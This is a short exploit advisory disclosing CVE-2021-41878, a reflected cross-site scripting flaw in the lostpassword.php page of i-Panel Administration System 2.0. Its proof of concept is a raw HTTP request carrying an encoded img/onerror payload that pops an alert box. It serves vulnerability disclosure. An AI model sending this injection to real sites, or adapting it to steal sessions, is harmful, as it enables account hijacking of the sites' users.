i-Panel Administration System 2.0 - Reflected Cross-site Scripting (XSS)

# Exploit Title: i-Panel Administration System 2.0 - Reflected Cross-site Scripting (XSS)
# Date: 04.10.2021
# Exploit Author: Forster Chiu
# Vendor Homepage: https://www.hkurl.com
# Version: 2.0
# Tested on: Chrome, Edge and Firefox
# CVE: CVE-2021-41878
# Reference: https://cybergroot.com/cve_submission/2021-1/XSS_i-Panel_2.0.html

As a proof of concept, an alert box can be generated with the following payload.
Exploit PoC:

GET /lostpassword.php/n4gap%22%3E%3Cimg%20src=a%20onerror=alert(%22XSSVulnerable%22)%3E HTTP/1.1
Host: Forster
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Cookie: PHPSESSID=7db442d0ed0f9c8e21f5151c3711973e
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Language: en-gb
Accept-Encoding: gzip, deflate
Connection: close